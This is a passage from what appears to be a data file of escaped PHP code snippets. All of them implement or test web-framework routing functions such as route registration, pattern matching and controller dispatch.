$this->routeTable[trim($uri)] = $handler;\n return true;\n }\n\n // Set default handle\n $handle = array(\n 'controller' => Configuration::SELF_CONTROLLER,\n 'action' => Configuration::DEFAULT_ACTION\n );\n\n // Check if passed parameter is an array\n if (is_array($handler)) {\n if (isset($handler['controller'])) {\n $handle['controller'] = $handler['controller'];\n }\n if (isset($handler['action'])) {\n $handle['action'] = $handler['action'];\n }\n if (isset($handler['segment'])) {\n $handle['segment'] = $handler['segment'];\n }\n // Else, string\n } else if (is_string($handler)) {\n $exploded = explode('.', $handler);\n if (count($exploded) > 1) {\n if (isset($exploded[0])) {\n $handle['controller'] = $exploded[0];\n }\n if (isset($exploded[1])) {\n $handle['action'] = $exploded[1];\n }\n } else {\n $handle['controller'] = $handler;\n }\n }\n\n $routeProperties = array_merge($handle, $routeParams);\n \n $this->routeTable[trim($uri)] = $routeProperties;\n }", "public function route() {\n\t\t$action = $this->validateAction();\n\t\tif (method_exists($this, str_replace('-', '', $action))) {\n\t\t\t$this->$action();\n\t\t} else {\n\t\t\t$this->error($action);\n\t\t}\n\t}", "function setRoute(DynamicValue $p_route):void\n {\n $this->route=$p_route; \n }", "protected function setDefaultRule()\n\t{\n\t\tif (Yii::$app->authManager->getRule(RouteRule::RULE_NAME) === null) {\n\t\t\tYii::$app->authManager->add(Yii::createObject([\n\t\t\t\t\t'class' => RouteRule::className(),\n\t\t\t\t\t'name' => RouteRule::RULE_NAME]\n\t\t\t));\n\t\t}\n\t}", "public function setRoute($match, $isRegex, $controller, $class,\n $function)\n {\n $this->routes[$match] = array(\n 'match' => $match,\n 'is_regex' => $isRegex,\n 'controller' => $controller,\n 'class' => $class,\n 'function' => $function\n );\n }", "public function set_matched_route($route)\n {\n }", "public static function set($name, $uri_callback = NULL, $regex = NULL)\n\t{\n\t\tif($uri_callback === TRUE)\n\t\t{\n\t\t\t$uri_callback = ___($name);\n\t\t}\n\t\t\n\t\treturn Route::$_routes[$name] = new Route($uri_callback, $regex);\n\t}", "protected function setAction()\n {\n $method = $this->request->method;\n $this->route->method = strtoupper($method);\n\n if ($this->route->method === 'POST') {\n $this->route->action = 'create';\n\n } elseif ($this->route->method === 'PUT') {\n $this->route->action = 'update';\n\n } elseif ($this->route->method === 'DELETE') {\n $this->route->action = 'delete';\n\n } else {\n $this->route->method = 'GET';\n $this->route->action = 'read';\n }\n\n $this->route->special_action = '';\n\n $this->valid_actions = $this->actions[$this->route->action];\n\n return $this;\n }", "public function set_route($route)\n {\n }", "public function route()\n\t{\n\t\t/* [http|https]/[Ajax|]/[Get|Post|Delete|Put]/uri */\n\t\t$this->route = $this->route_raw = ($this->c->Request->is_https ? 'https' : 'http').'/'.($this->c->Request->is_ajax ? 'Ajax' : '').'/'.$this->c->Request->request.'/'.$this->c->Request->uri;\n\n\t\t/* call dispatch event */\n\t\t$this->c->Event->preRouter();\n\n\t\t/* rewrite dispatch route */\n\t\tforeach ($this->c->router['routes'] as $regexpath => $switchto) {\n\t\t\tif (preg_match($regexpath, $this->route)) {\n\t\t\t\t/* we got a match */\n\t\t\t\t$this->route = preg_replace($regexpath, $switchto, $this->route);\n\t\t\t\t$this->route_matched = $regexpath;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\t/* call dispatch event */\n\t\t$this->c->Event->postRouter();\n\n\t}", "public static function setRoute(string $uri = '') {\n\n\t\tif (self::_hasAdapter(get_class(), __FUNCTION__))\n\t\t\treturn self::_callAdapter(get_class(), __FUNCTION__, $uri);\n\n\t\t$uri = self::_applyFilter(get_class(), __FUNCTION__, $uri, array('event' => 'args'));\n\t\t\n\t\tif (empty($uri)) {\n\t\t\t$uri = $_SERVER['REQUEST_URI'];\n\t\t}\n\n\t\tif (substr($uri, strlen($uri) - 1) === '/') {\n\t\t\t$uri = substr_replace($uri, '', strlen($uri) - 1);\n\t\t}\n\n\t\t$routes = array();\n\n\t\t$pos = @strpos($uri, '?');\n\n\t\tif ($pos !== false) {\n\t\t\t$uri = substr_replace($uri, '', $pos, strlen($uri));\n\t\t}\n\n\t\t$uri_parts = explode('/', $uri);\n\n\t\tforeach ($uri_parts as $key => $value) {\n\t\t\tif (empty($uri_parts[$key])) {\n\t\t\t\tunset($uri_parts[$key]);\n\t\t\t}\n\t\t}\n\n\t\t$uri_parts = array_values($uri_parts);\n\t\t$uri = '/' . implode('/', $uri_parts);\n\t\t\n\t\t$assigned_route = array();\n\t\t$default_route = array();\n\t\t$assigned_route_options = array('listen'=> '*');\n\t\t$default_route_options = array();\n\t\t\n\t\t$method = (isset($_SERVER['REQUEST_METHOD'])) ? $method = $_SERVER['REQUEST_METHOD'] : null;\n\t\t\n\t\tforeach (self::$routes as $route) {\n\t\t\t\n\t\t\tif(self::_isAllowRequest($route['listen'], $method)) {\n\t\t\t\t\n\t\t\t\t$reRule = preg_replace(self::$default_rule_replace, self::$default_route_replace, $route['rule']);\n\t\t\t\t$reRule = str_replace('/', '\\/', $reRule);\n\t\n\t\t\t\tif (preg_match('/' . $reRule . '/', $uri, $matches)) {\n\t\n\t\t\t\t\t$uri_match = '';\n\t\t\t\t\tforeach ($matches as $key => $value) {\n\t\t\t\t\t\tif (!Validator::isInteger($key)) {\n\t\t\t\t\t\t\t$uri_match .= '/' . $value;\n\t\t\t\t\t\t}\n\t\t\t\t\t}//end foreach\n\t\n\t\t\t\t\t$match_1 = str_replace($uri_match, '', $uri);\n\t\t\t\t\t$match_2 = str_replace($uri_match, '', $matches[0]);\n\t\n\t\t\t\t\tif ($match_1 === $match_2 && !empty($match_1)) {\n\t\t\t\t\t\t$assigned_route = $matches;\n\t\t\t\t\t\t$assigned_route_options = $route;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t} else if ($match_1 === $match_2 && empty($match_1)) {\n\t\t\t\t\t\t$default_route = $matches;\n\t\t\t\t\t\t$default_route_options = $route;\n\t\t\t\t\t}\n\t\t\t\t}//end if prgrack mage\n\t\t\t}\n\t\t}//end first for\n\n\t\tif (!empty($assigned_route)) {\n\t\t\t$final_route = $assigned_route;\n\t\t\t$route_options = $assigned_route_options;\n\t\t\tif (!isset($final_route['route'])) {\n\t\t\t\t$final_route['route'] = $default_route;\n\t\t\t}\n\t\t\tif (!isset($route_options['route'])) {\n\t\t\t\t$route_options['route'] = $default_route;\n\t\t\t}\n\t\t} else {\n\t\t\t$final_route = $default_route;\n\t\t\t$route_options = $default_route_options;\n\t\t}\n\n\t\tself::$route_parameters = $final_route;\n\t\tself::$route_options = $route_options;\n\t\t\n\t\t$method = (isset($_SERVER['REQUEST_METHOD'])) ? $method = $_SERVER['REQUEST_METHOD'] : null;\n\t\t\n\t\tif(!isset($route_options['listen']) || (isset($route_options['listen']) && $route_options['listen'] == '*')) {\n\t\t\tself::$correct_request_method = true;\n\t\t} else {\n\t\t\t$listen = strtoupper($route_options['listen']);\n\t\t\t\n\t\t\tif(strpos($listen, $method )!== false) {\n\t\t\t\tself::$correct_request_method = true;\n\t\t\t} else {\n\t\t\t\tself::$correct_request_method = false;\n\t\t\t}\n\t\t}\n\n\t\tself::_notify(get_class() . '::' . __FUNCTION__, $final_route, $route_options);\n\n\t\tif(self::$correct_request_method) {\n\t\t\t\n\t\t\tif (!empty($route_options['activate_ssl']) && $route_options['activate_ssl'] && !self::isSecureConnection()) {\n\t\t\t\tself::activateSSL();\n\t\t\t} else if (!empty($route_options['deactivate_ssl']) && $route_options['deactivate_ssl'] && self::isSecureConnection()) {\n\t\t\t\tself::deactivateSSL();\n\t\t\t}\n\t\n\t\t\tif (!empty($route_options['redirect'])) {\n\t\t\t\tself::redirect($route_options['redirect']);\n\t\t\t}\n\t\t\t\n\t\t\tif (!empty($route_options['callback'])) {\n\t\t\t\treturn call_user_func_array($route_options['callback'], array(new Request()));\n\t\t\t}\n\t\t}\n\n\t}", "public static function put($pattern, callable $callback): Route;", "public function setRoute($route) {\n\t\t$this->route = $route;\n\t}", "public function put(string $pattern, $handler = null): Route\n {\n return $this->addRoute($pattern, [Router::METHOD_PUT], $handler);\n }", "public static function set($route) {\n self::registerRoute($route);\n }", "private function matchRouteRule($subject)\n {\n $this->requestMethod = $this->request->getRequestMethod();\n\n foreach($this->routeTable as $k => $v) {\n\n // Check if 'method' is defined in the route rule\n if (!($v instanceof Closure) && isset($v['method'])) {\n $checkMethodValue = preg_grep('/^' . $this->requestMethod . '$/i', $v['method']);\n $checkMethodKey = array_intersect_key($v['method'], array_flip(preg_grep('/^' . $this->requestMethod . '$/i', array_keys($v['method']), 0)));\n if (empty($checkMethodValue) && empty($checkMethodKey)) {\n continue;\n } else {\n if (isset($checkMethodKey)) {\n // Create a secondary mapping with uppercased key name\n $checkMethodKeyUppercased = array();\n foreach ($checkMethodKey as $key => $val) {\n $checkMethodKeyUppercased[strtoupper($key)] = $val;\n }\n // Check if we need to override 'action' (response)\n if (array_key_exists($this->requestMethod, $checkMethodKeyUppercased)) {\n $v['action'] = $checkMethodKeyUppercased[$this->requestMethod];\n }\n }\n }\n }\n\n $segments = array();\n if (!($v instanceof Closure) && isset($v['segment'])) {\n $segments = $v['segment'];\n }\n $callback = function($matches) use ($segments) {\n if (isset($matches[1]) && isset($segments[$matches[1]])) {\n return $segments[$matches[1]];\n }\n return '(\\w+)';\n };\n\n $pattern = \"@^\" . preg_replace_callback(\"/:(\\w+)/\", $callback, $k) . \"$@i\";\n $matches = array();\n if (preg_match($pattern, $subject, $matches)) {\n if(strpos($k, ':') !== false) {\n if (preg_match_all(\"/:(\\w+)/\", $k, $segmentKeys)) {\n array_shift($matches);\n array_shift($segmentKeys);\n foreach ($segmentKeys[0] as $key => $name) {\n $this->segments[$name] = $matches[$key];\n }\n // Register segments on Container (for dependency injection)\n if (!empty($this->segments)) {\n $this->container->register($this->segments);\n }\n }\n }\n return $v;\n }\n\n }\n return false;\n }", "public function setRoute($route)\n {\n $this->route = $route;\n }", "public function setRoute($route)\n {\n $this->route = $route;\n }", "public function setNodeRoute($route);", "public static function set($route,$function) {\n self::$validRoute[] = $route;\n \n if ($_GET['url'] == $route) {\n $function->__invoke();\n } \n }", "public function setRoute($method, $route)\t{\n\t\t//Reset internal state\n\t\t$this->class = \"NoRoute\";\n\t\t$this->params = array();\n\t\t$this->method = $method;\n\t\t$route = explode(\"?\", $route);\n\t\tif (is_array($route)) $route = $route[0];\n\t\t\n\t\tif ($this->prefix != null) $route = preg_replace(\"|\". preg_quote($this->prefix) . \"|iA\", \"\", $route);\n\t\t$this->log->setRoute($method, $route);\n\t\t$this->route = $route;\n\t\t\n\t\t$routeParts = array_filter(explode(\"/\", $route), 'strlen');\n\t\t$uri = strtolower(array_shift($routeParts));\n\t\t\n\t\tif (isset($this->routeArray[$uri]))\t{\n\t\t\tforeach($this->routeArray[$uri] as $route)\t{\n\t\t\t\tif ($route['method'] == $method && count($route['params']) == count($routeParts))\t{\n\t\t\t\t\t$this->class = $route['class'];\n\t\t\t\t\tforeach ($route['params'] as $param)\t{\n\t\t\t\t\t\t$this->params[$param] = array_shift($routeParts);\n\t\t\t\t\t}\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "public static function put(string $route, string $handler, string $middleware = '');", "public function addRoute($pattern, $handler)\n {\n $this->routes->append($pattern, $handler);\n }", "private function set($url,$location,$reqMethod){\n\t\t\t//validate routeformat\n\t\t\t$valid = explode(\"@\",$location);\n\t\t\tif(count($valid) != 2){ throw new \\Exception(\"Trying to save invalid route format\"); }\n\t\t\t\n\t\t\t$this->allRoutes[] = Route::set($url,$location,$reqMethod);\n\t\t}", "public static function addRouteRule($route) {\n\n\t\tif (self::_hasAdapter(get_class(), __FUNCTION__))\n\t\t\treturn self::_callAdapter(get_class(), __FUNCTION__, $route);\n\n\t\t$defaults = array(\n\t\t\t'route' => null,\n\t\t\t'access_level' => null,\n\t\t\t'access_level_redirect' => null,\n\t\t\t'user_roles' => null,\n\t\t\t'user_roles_redirect' => null,\n\t\t\t'rule' => null,\n\t\t\t'activate_ssl' => false,\n\t\t\t'deactivate_ssl' => false,\n\t\t\t'callback'=> null,\n\t\t\t'listen'=>'*'\n\t\t);\n\n\t\tif (!is_array($route)) {\n\t\t\t$route = array('rule' => $route);\n\t\t}\n\n\t\t$route += $defaults;\n\t\t$route = self::_applyFilter(get_class(), __FUNCTION__, $route, array('event' => 'args'));\n\t\tarray_push(self::$routes, $route);\n\n\t\tself::_notify(get_class() . '::' . __FUNCTION__, $route);\n\t}", "public static function SetPerRoute($sName, $sRoute, $sMethod, $fCallback){\n $oThis = self::CreateInstanceIfNotExists();\n $sRoute = strtolower(str_replace(array(\"/\", \"\\\\\", \"--\"), \"-\", $sRoute));//Bugfix\n $oThis->aEvents[strtolower($sMethod.\"_\".$sRoute.\"_\".$sName)] = array(\"type\" => \"perroute\", \"func\" => $fCallback, \"route\" => $sRoute, \"method\" => $sMethod);\n }", "function put($uri, $action)\n {\n return Route::put($uri, $action);\n }", "protected function _route()\r\n\t\t{\r\n\t\t\t((!is_object($this->_route)) ? $this->_route = init_class(ROUTE_NAME) : '');\r\n\t\t}", "private function route() {\n if (class_exists($this->controllerName . $this->postfix)) {\n $fullName = $this->controllerName . $this->postfix;\n $this->controllerClass = new $fullName;\n $this->controllerClass->setUp();\n if (count($this->args > 1)) { // Pass args that are not controller class\n $this->controllerClass->setArgs($this->args);\n }\n\n // Second arg in url is our \"action\", try that as a method-call\n $method = strtolower($this->args[0]); // method names are case-insensitive. Might as well take advantage of it.\n if (isset($method) && method_exists($this->controllerClass, $method)) {\n $this->controllerClass->{$this->args[0]}();\n }\n \n } else { // No such class. Use our default\n $this->defaultRoute();\n }\n }", "static function set_route ($regex_path, $controller_method, $auth_required = 'any', $permission_required = null) {\n\t\tself::$routes[] = [\n\t\t\t'regex_path' => $regex_path,\n\t\t\t'controller_method' => $controller_method,\n\t\t\t'auth_required' => $auth_required,\n\t\t\t'permission_required' => $permission_required\n\t\t];\n\t}", "protected function setRules($rules)\r\n {\r\n if (isset($rules['routes'])) {\r\n $this->routes_activate = $rules['routes'];\r\n }\r\n if (isset($rules['urls'])) {\r\n $this->urls_activate = $rules['urls'];\r\n }\r\n if (isset($rules['routes_parts'])) {\r\n $this->routes_parts = $rules['routes_parts'];\r\n }\r\n }", "private function setRule()\n\t{\n\t\t$this->rule = ( $this->timber->security->isAuth() && $this->timber->security->isClient() ) ? 'client' : $this->rule;\n\t\t$this->rule = ( $this->timber->security->isAuth() && $this->timber->security->isStaff() ) ? 'staff' : $this->rule;\n\t\t$this->rule = ( $this->timber->security->isAuth() && $this->timber->security->isAdmin() ) ? 'admin' : $this->rule;\n\t}", "public function matchRoute($method, $uri, $action) {\n $action = $this->parseAction($action);\n\n $uri = '/'.trim($uri, '/');\n\n if (isset($action['as'])) {\n $this->namedRoutes[$action['as']] = $uri;\n }\n\n if (is_array($method)) {\n foreach ($method as $verb) {\n $this->routes[$verb.$uri] = ['method' => $verb, 'uri' => $uri, 'action' => $action];\n }\n } else {\n $this->routes[$method.$uri] = ['method' => $method, 'uri' => $uri, 'action' => $action];\n }\n }", "public function setActionRoute($route, $params = null)\n {\n // Store routename for later use\n $this->route = $route;\n\n // Compile route and set url as action url\n $this->attribute['action'] = Url::factory($route, $params)->getUrl();\n\n return $this;\n }", "static function setRoute( \n \\AmidaMVC\\Framework\\Controller $ctrl,\n \\AmidaMVC\\Component\\SiteObj &$_siteObj ) \n {\n $siteDefault = array(\n 'base_url' => $ctrl->base_url,\n 'path_info_ctrl' => $ctrl->path_info,\n 'path_info' => '',\n 'routes' => array(),\n 'command' => array(),\n 'prefix_cmd' => $ctrl->prefixCmd,\n 'mode' => NULL,\n );\n $paths = explode( '/', $siteDefault[ 'path_info_ctrl' ] );\n foreach( $paths as $cmd ) {\n if( empty( $cmd ) ) continue;\n if( $cmd === '..' ) continue;\n if( substr( $cmd, 0, 1 ) === '.' ) continue;\n if( substr( $cmd, 0, 1 ) === $siteDefault[ 'prefix_cmd' ] ) {\n $siteDefault[ 'command' ][] = $cmd;\n }\n else {\n $siteDefault[ 'routes' ][] = $cmd;\n }\n }\n // setup path_info.\n $siteDefault[ 'path_info' ] = implode( '/', $siteDefault[ 'routes' ] );\n if( empty( $siteDefault[ 'path_info' ] ) ) {\n $siteDefault[ 'path_info' ] = '/';\n }\n $ctrl->path_info = $siteDefault[ 'path_info' ];\n // setup command. \n $siteDefault[ 'command' ] = array_unique( $siteDefault[ 'command' ] );\n if( !empty( $siteDefault[ 'command'] ) ) {\n if( $mode = static::findMode( $siteDefault[ 'command'] ) ) {\n $ctrl->mode = $mode;\n $ctrl->setAction( $mode );\n $siteDefault[ 'mode' ] = $mode;\n }\n }\n $_siteObj->set( 'siteObj', $siteDefault );\n }", "public function setAction($alias, PathEventActionInterface $action);", "public static function set($route, $closure) {\r\n if ($_SERVER['REQUEST_URI'] == BASEDIR.$route) {\r\n self::registerRoute($route);\r\n $closure->__invoke();\r\n } else if (explode('?', $_SERVER['REQUEST_URI'])[0] == BASEDIR.$route) {\r\n self::registerRoute($route);\r\n $closure->__invoke();\r\n } else if ($_GET['url'] == explode('/', $route)[0]) {\r\n self::registerRoute(self::dyn($route));\r\n $closure->__invoke();\r\n }\r\n }", "protected function _rule($rule, array $options = array()) {\n\t\t$this->rule = new $rule($options);\n\t\treturn $this->rule;\n\t}", "public function __construct() {\n $this->setRoutes(array(\n 'user/:userId' => 'updateCertainUser',\n 'fixName/:variableName' => 'anotherMethod'\n ));\n }", "public function addRoute($name, $pattern, array $rules, $methods = array('GET'), $controller, $action)\n {\n $this->routes->add($name, new Route($name, $pattern, $rules, $methods, $controller, $action));\n }", "public function put($pattern, $handler, array $options = [])\n {\n return $this->addRoute(self::PUT, $pattern, $handler, $options);\n }", "public function put($match, $rewrite = null, $closure = null);", "public static function setRoute($params,$function,$controller=null)\r\n {\r\n [$pattern,$route] = $params;\r\n [$class,$method] = explode(\"@\",$route);\r\n\r\n $patternList = array_values(\r\n array_filter(explode(\"/\",$pattern),'strlen')\r\n );\r\n\r\n static::$routes['pattern'][] = $patternList;\r\n static::$routes['data'][] = [\r\n 'method' => $method,\r\n 'class' => $class,\r\n 'http' => $function,\r\n 'controller' => $controller,\r\n 'namespace' => static::$namespace,\r\n 'endpoint' => strtolower(str_replace(StaticPathList::$controllerBundleName,'',static::$namespace))\r\n ];\r\n }", "protected function parseRoute()\n { \n $matches = explode(\"/\", $this->route);\n\n $pattern = '/^([a-zA-Z0-9_-])+$/';\n \n if (preg_match($pattern, $matches[0])) {\n $this->controller = ucfirst(strtolower($matches[0]));\n }\n\n if (!empty($matches[1]) && preg_match($pattern, $matches[1])) {\n $this->action = $this->convert($matches[1]);\n }\n }", "public function setRoute($route, $cb)\n\t{\n\t\t$this->routes[$route] = $cb;\n\t\n\t\treturn TRUE;\n\t}", "public function setRoute($value)\n {\n return $this->set('Route', $value);\n }", "public function setRoute($value)\n {\n return $this->set('Route', $value);\n }", "public static function add_rewrite_rule()\n {\n }", "public function route($action) {\n\t\tswitch($action) {\n\n\t\t\tcase 'view':\n\t\t\t\t$id = $_GET['id'];\n\t\t\t\t$this->view($id);\n\t\t\t\tbreak;\n\n\t\t\tcase 'index':\n\t\t\t\t$this->index();\n\t\t\t\tbreak;\n\n\t\t\tcase 'add':\n\t\t\t\t$this->add();\n\t\t\t\tbreak;\n\n\t\t\tcase 'addProcess':\n\t\t\t\t$this->addProcess();\n\t\t\t\tbreak;\n\n\t\t\tcase 'addLifeEventProcess':\n\t\t\t\t$id = $_GET['id'];\n\t\t\t\t$this->addLifeEventProcess($id);\n\t\t\t\tbreak;\n\n\t\t\tcase 'deleteProcess':\n\t\t\t\t$id = $_GET['id'];\n\t\t\t\t$this->deleteProcess($id);\n\t\t\t\tbreak;\n\n\t\t\tcase 'edit':\n\t\t\t\t$id = $_GET['id'];\n\t\t\t\t$this->edit($id);\n\t\t\t\tbreak;\n\n\t\t\tcase 'editProcess':\n\t\t\t\t$id = $_GET['id'];\n\t\t\t\t$this->editProcess($id);\n\t\t\t\tbreak;\n\t\t}\n\n\t}", "public static function map($_url,$_obj) {\n\t\tforeach (explode('|',self::HTTP_Methods) as $_method) {\n\t\t\tif (method_exists($_obj,$_method))\n\t\t\t\tself::route(\n\t\t\t\t\tstrtoupper($_method).' '.$_url,array($_obj,$_method)\n\t\t\t\t);\n\t\t}\n\t}", "protected function route($verb, $pattern, $handler)\t{\n\t\tif (is_array($pattern) && isset($pattern[\"regex\"])) {\n\t\t\t$regex = $pattern['regex'];\n\t\t\t$pattern = false;\n\n\t\t} else {\n\t\t\t# choose regex delimiter dynamically incase a pipe is in the pattern\n\t\t\t$delim = '|';\n\t\t\tforeach(array('|', '`', '~', '^', \"#\") as $delim) if (strpos($pattern, $delim) === false) break;\n\n\t\t\t$terminate = (strpos($pattern, ':') || strpos($pattern, '*')) ? '' : '$';\n\n\t\t\t$regex = $delim.'^'.preg_replace_callback(\n\t\t\t\t'/\\/([:|\\*])?([a-zA-Z0-9_]*)/',\n\t\t\t\tarray($this, 'pattern_to_regex'),\n\t\t\t\t$pattern\n\t\t\t).'/?'.$terminate.$delim;\n\t\t}\n\t\t$r = new Route($pattern, $regex, $handler);\n\t\t$this->routes[$verb][] = $r;\n\t\treturn $r;\n\t}", "public function setNodeOriginalRoute($route);", "public function set_matched_handler($handler)\n {\n }", "public function map($pattern, $controller, $method)\n {\n $this->routes[$method][] = new Route($pattern, $controller, $method);\n }", "public function any(string $pattern, $handler = null): Route\n {\n return $this->addRoute($pattern, Router::HTTP_METHODS_STANDARD, $handler);\n }", "public function patch(string $pattern, $handler = null): Route\n {\n return $this->addRoute($pattern, [Router::METHOD_PATCH], $handler);\n }", "protected function addMap($method, string $routePattern, $handler, string $name = null): void\n {\n }", "public function setRoute(string $route): self \n {\n $this->route = $route;\n return $this;\n }", "public function setRoute($route)\r\n {\r\n // Handle images\r\n if (!$this->isImage($route) && !$this->isFile($route)) {\r\n // Route must follow a directory of a question inside the questions directory\r\n $curQuestionDir = $this->root.'/'.$route;\r\n if (!is_dir($curQuestionDir)) {\r\n throw new Exception('Question directory '.$curQuestionDir.' does not exists.');\r\n }\r\n if (!file_exists($curQuestionDir.'/bebras.js')) {\r\n throw new Exception('Question directory '.$curQuestionDir.' is not a task.');\r\n }\r\n \r\n // A question's route must end with a \"/\"\r\n if ($route[strlen($route) - 1] != '/') {\r\n throw new Exception('A question\\'s directory must end with a \"/\".');\r\n }\r\n $route = substr($route, 0, strlen($route) - 1);\r\n }\r\n \r\n $this->route = $route;\r\n }", "public function route()\n {\n $path = Url::getPath();\n\n // If no routes exist, set 404\n if (count($this->routes) == 0)\n {\n return;\n }\n\n // Check if exact match (cheap)\n if ((isset($this->routes[$path]))\n && (!$this->routes[$path]['is_regex']))\n {\n $this->dispatch($this->routes[$path]);\n exit;\n }\n\n // Loop through all routes and attempt to find a match. (expensive)\n foreach ($this->routes as $i => $route)\n {\n $matches = null;\n\n // If route found\n if (($route['is_regex'])\n && (preg_match($route['match'], $path, $matches)))\n {\n // Remove full match from array list\n array_shift($matches);\n\n $this->dispatch($route, $matches);\n exit;\n }\n }\n }", "function hm_add_rewrite_rule( $rule, $query, $template = null, $args = array() ) {\n\n\tglobal $hm_rewrite_rules;\n\n\t$hm_rewrite_rules[ $rule ] = array( $rule, $query, $template, wp_parse_args( $args ) );\n\n}", "public function testMethodIndexAction()\n {\n $route = new Route();\n\n $route->set(null, null, null, \"Anax\\Route\\MockHandlerController\");\n $this->assertTrue($route->match(\"\"));\n $res = $route->handle(\"\");\n $this->assertEquals(\"indexAction\", $res);\n\n $route->set(null, null, \"\", \"Anax\\Route\\MockHandlerController\");\n $this->assertTrue($route->match(\"\"));\n $res = $route->handle(\"\");\n $this->assertEquals(\"indexAction\", $res);\n\n $route->set(null, \"\", null, \"Anax\\Route\\MockHandlerController\");\n $this->assertTrue($route->match(\"\"));\n $res = $route->handle(\"\");\n $this->assertEquals(\"indexAction\", $res);\n }", "public function put($route, $action) {\r\n $this->router->addRoute('PUT', $route, $action);\r\n return $this;\r\n }", "public function setRoute (string $route) : self {\n $this->route = $route;\n return $this;\n }", "public function put($pattern, $action)\r\n {\r\n $this->collection->set('put', $pattern, $action);\r\n }", "public function setAction($action);", "protected function makeRoute()\n {\n new MakeRoute($this, $this->files);\n }", "function iis7_add_rewrite_rule($filename, $rewrite_rule)\n {\n }", "public function post(string $pattern, $handler = null): Route\n {\n return $this->addRoute($pattern, [Router::METHOD_POST], $handler);\n }", "public function setRoute($Route)\r\n {\r\n $this->Route = $Route;\r\n }", "public function put(...$args) {\n $this->registerRouteHandler('PUT', ...$args);\n }", "public function setRouteOptions($options);", "public function testControllerMethodCatchAllRequestMethod()\n {\n $route = new Route();\n \n $route->set(null, \"user\", null, \"Anax\\Route\\MockHandlerControllerCatchAll\");\n \n $path = \"user/whatever\";\n $this->assertTrue($route->match($path, \"POST\"));\n $res = $route->handle($path);\n $this->assertEquals(\"catchAllPost\", $res);\n\n $this->assertTrue($route->match($path, \"PUT\"));\n $res = $route->handle($path);\n $this->assertEquals(\"catchAllPut\", $res);\n }", "public function setNodeRouteConfig($config);", "function setAction($action);", "public function setRoute(string $route): self\n {\n $this->route = $route;\n\n return $this;\n }", "public function setAction(callable $action);", "private static function match_route($protocol, $route, $action, $args)\n\t{\n\t\t$maverick = \\maverick\\maverick::getInstance();\n\t\t\n\t\t// return if a route has already been matched\n\t\tif(isset($maverick->route))\n\t\t\treturn false;\n\t\t\n\t\t// return if the protocols don't match\n\t\tif(strtolower($_SERVER['REQUEST_METHOD']) == $protocol || $protocol == 'any')\n\t\t{\n\t\t\tpreg_match(\"~^{$route}$~\", $maverick->requested_route_string, $matches);\n\t\t\t\n\t\t\t// route match - assign the information back to the main maverick object\n\t\t\tif(!empty($matches))\n\t\t\t\t$maverick->controller = self::get_full_action($action, $args, $matches);\n\n\t\t}\n\t\telse\n\t\t\treturn false;\n\t}", "function setResourceRoute($route, array $parameters = array(), $code = Codes::HTTP_CREATED);", "public function rules($action, $id);", "public function route($action) {\n\t\tswitch($action) {\n\t\t\tcase 'polls':\n\t\t\t\t$this->polls();\n\t\t\t\tbreak;\n\n\t\t\tcase 'editpoll':\n\t\t\t\t$this->editpoll();\n\t\t\t\tbreak;\n\t\t\tcase 'editpoll_submit':\n\t\t\t\t$this->editpoll_submit();\n\t\t\t\tbreak;\n\n\t\t\tcase 'newpoll':\n\t\t\t\t$this->newpoll();\n\t\t\t\tbreak;\n\t\t\tcase 'newpoll_submit':\n\t\t\t\t$this->newpoll_submit();\n\t\t\t\tbreak;\n\n\t\t\tcase 'deletepoll':\n\t\t\t\t$this->deletepoll();\n\t\t\t\tbreak;\n\t\t}\n\t}", "public function applyRouting(&$request, &$action = null, &$urlArray = null) {\n if (isset($this->_routes[strtolower($request)])) {\n $route = $this->_routes[strtolower($request)];\n $explodedTarget = explode('/', $route);\n\n if (isset($explodedTarget[1])) { // we have an action for this route!\n $action = $explodedTarget[1];\n }\n $request = $explodedTarget[0];\n $request = ucfirst($request) . '_Controller';\n // Params, if more than 2 elements are specified\n if(count($explodedTarget) > 2){\n $routeParams = array_slice($explodedTarget, 2);\n $urlArray = array_merge($routeParams, $urlArray);\n }\n return true;\n }\n return false;\n }", "public function setRule($rule) {\n\t\t$this->rule = $rule;\n\n\t\tif (!isset($this->rules[$rule])) {\n\t\t\t$this->rules[$rule] = [\n\t\t\t\t'constraints' => [],\n\t\t\t\t'filters' => [],\n\t\t\t\t'is_valid' => true\n\t\t\t];\n\t\t}\n\n\t\treturn $this;\n\t}", "public function route() {\n\t\t// Set the user.\n\t\t$user = $this->Router->getCurrentRoute(3);\n\t\tif (!empty($user)) {\n\t\t\tif (!$this->userSet($user)) {\n\t\t\t\t$_SESSION['title'] = 'Error';\n\t\t\t\t$_SESSION['data'] = array(\n\t\t\t\t\t'error' => 'The selected user was invalid.',\n\t\t\t\t\t'link' => 'management/users'\n\t\t\t\t);\n\t\t\t\tredirect(ABSURL . 'error');\n\t\t\t}\n\t\t}\n\n\t\t// Get the function mapped to the route.\n\t\t$function = $this->Router->mappedFunction();\n\t\t$this->$function();\n\t}", "public static function patch(string $route, string $handler, string $middleware = '');", "public function addRoute($name, $route, $priority = null);", "public function route($action)\r\n {\r\n switch ($action) {\r\n case 'newTopic':\r\n $this->newTopic();\r\n break;\r\n case 'newPost':\r\n $topic_id = $_GET['topic_id'];\r\n $this->newPost($topic_id);\r\n break;\r\n case 'topic':\r\n $this->topic();\r\n break;\r\n case 'post':\r\n $this->post();\r\n break;\r\n case 'view':\r\n $topic_id = $_GET['topic_id'];\r\n $this->view($topic_id);\r\n break;\r\n }\r\n }", "public function __invoke(ServerRequestInterface $request, Route $route);", "public function put(string $routePattern, $handler, string $name = null): CollectionInterface\n {\n }", "abstract public function addRoute($url, $ctrl, $mth);", "public function put(\n string $name,\n string $path,\n $requestHandler,\n array $middlewares = [],\n array $attributes = []\n ) : RouteInterface {\n return $this->route(\n $name,\n $path,\n [Router::METHOD_PUT],\n $requestHandler,\n $middlewares,\n $attributes\n );\n }", "public function map($method, $route, $controller, $name = null, $permissions = null)\n {\n $this->routes[] = [$method,$route,$controller,$name,$permissions];\n if ( $name ) {\n if ( isset($this->namedRoutes[$name]) ) {\n throw new RuntimeException(\"Can not redeclare route '{$name}'\");\n }\n $this->namedRoutes[$name] = $route;\n }\n return;\n }", "public function __construct($rule)\n {\n $this->rule = $rule;\n }", "public function addRoute(string $uri, \\Closure $fn) : void\n {\n $this->routes[$uri] = $fn;\n }", "public function match($url, $target, $link_function = null) {\n $link_function = self::generateLinkFunction(is_string($link_function) ? $link_function : $url);\n if(isset($this->routes[$link_function])) {\n throw new InvalidArgumentException(\"the 